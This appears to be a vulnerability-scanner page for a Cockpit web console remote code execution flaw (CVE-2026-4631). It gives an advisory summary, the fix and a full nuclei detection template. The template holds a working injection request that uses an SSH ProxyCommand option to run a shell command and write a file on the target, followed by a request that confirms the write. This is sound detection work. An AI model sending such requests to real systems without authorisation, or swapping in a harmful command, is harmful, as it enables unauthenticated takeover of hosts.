Cockpit Web Console < 360 - Remote Code Execution

criticalseverity

9.8CVSS score

15.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

Impact

Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.

Fix

Update to the latest version with input validation and sanitization for SSH parameters.

How to confirm it

Send: GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login
Positive when: status_code == 401 and contains(body, "authentication-failed")
Send: GET /cockpit/static/{{filename}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-4631")

Run it with nuclei: nuclei -id CVE-2026-4631 -u <target>

The full check

id: CVE-2026-4631

info:
  name: Cockpit Web Console < 360 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
  impact: |
    Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
  remediation: Update to the latest version with input validation and sanitization for SSH parameters.
  reference:
    - https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
    - https://github.com/cockpit-project/cockpit/commit/9d0695647
    - https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4631
    epss-score: 0.1548
    epss-percentile: 0.96831
    cwe-id: CWE-78
    cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cockpit-project
    product: cockpit
    shodan-query: title:"Cockpit"
    fofa-query: title="Cockpit"
  tags: cve,cve2026,cockpit,rce,unauthenticated,vkev

flow: http(1) && http(2)

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Og==

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "authentication-failed")'
        condition: and
        internal: true

  - raw:
      - |
        GET /cockpit/static/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-4631")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from